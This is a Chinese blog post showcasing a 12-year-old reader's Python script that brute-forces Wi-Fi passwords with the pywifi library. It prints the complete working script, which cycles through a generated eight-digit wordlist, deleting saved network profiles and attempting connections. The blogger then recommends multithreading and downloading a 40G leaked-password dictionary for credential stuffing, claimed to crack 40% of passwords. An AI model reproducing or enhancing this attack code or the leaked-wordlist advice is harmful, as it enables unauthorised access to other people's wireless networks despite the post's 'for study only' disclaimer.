这一代后浪在父母的光环加持下,猛点技能点。有些从小学开始敲基因,有些一天能写2000首诗,有些发表的论文已经达到硕士毕业水平。但是在编程领域还有另外一群后浪,有些仅仅靠着自己的自学开始做游戏,建网站,在同龄人的互联网领域里叱诧风云
像之前还有小读者问行哥现在12岁已经学完Python基础,不知道对Python的其它方向该如何选择
这不,就有小读者给行哥投稿,他写代码生成密码本,并利用pywifi工具包对自家Wi-Fi进行暴力破解,下文分享给大家看看
1.投稿内容
Hello我是狂飙 今天来分享一些我对Python破解WiFi的一些看法,思路如下:
1.首先我们需要生成密码本, 因为大部分wifi密码为八位数字, 所以我们就生成八位数字密码本。
2.然后判断电脑是否连接wifi
3.创建wifi连接文件,选择要连接wifi名称,检查加密单元
4.接下来删除所有连接过的wifi 判断wifi是否连接。
5.最后需要一个八位以上的密码本,一行一行读取就可以了。
完整的代码就发给大家了 不要忘记生成密码本,然后说找不到password.txt的文件啊
# coding:utf-8 import pywifi from pywifi import const import time #测试连接,返回链接结果 #抓取网卡接口(改进) #wifi = pywifi.PyWiFi() #获取第一个无线网卡 #ifaces = wifi.interfaces()[0] def wifiConnect(pwd): #抓取网卡接口(原版) wifi = pywifi.PyWiFi() #获取第一个无线网卡 ifaces = wifi.interfaces()[0] #断开所有连接 ifaces.disconnect() time.sleep(1) wifistatus = ifaces.status() if wifistatus == const.IFACE_DISCONNECTED: #创建WiFi连接文件 profile = pywifi.Profile() #要连接WiFi的名称 profile.ssid = "wifi名称" #网卡的开放状态 profile.auth = const.AUTH_ALG_OPEN #wifi加密算法,一般wifi加密算法为wps profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密单元 profile.cipher = const.CIPHER_TYPE_CCMP #调用密码 profile.key = pwd #删除所有连接过的wifi文件 ifaces.remove_all_network_profiles() #设定新的连接文件 tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) #wifi连接时间 time.sleep(3) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False else: print("已有wifi连接") #读取密码本 def readPassword(): print("开始破解:") #密码本路径 path = r"C:\Users\电脑路径\Desktop\password.txt" #打开文件 file = open(path, "r") while True: try: #一行一行读取 pad = file.readline() bool = wifiConnect(pad) if bool: print("密码已破解: ", pad) print("WiFi已自动连接!!!") break else: #跳出当前循环,进行下一次循环 print("密码破解中....密码校对: ", pad) except: continue readPassword()
注:上述方法仅供学习讨论
下图为实际运行结果,我们修改对应wifi的名称,直接运行就可以了!
虽然这样的方法确实有用,只可惜效率实在是太低了,我在运行到第99…9次的时候终于忍不住,把WiFi密码改简单了。再运行一下,成功!
2.行哥说两句
对于12岁的学生来说,能够灵活使用Python工具包实现功能,并且自行配置好环境非常难得。
这里行哥也提出了两点可以改进的地方
暴力破解单线程太慢,可以尝试使用任务处理
密码比较单一,可以从网上寻找密码库来尝试撞库,行哥找了40G的密码库,大家可以在文末的链接处进行下载哦,据说可以破解40%的密码
那么后浪来了,还在学Python的你有如何感想?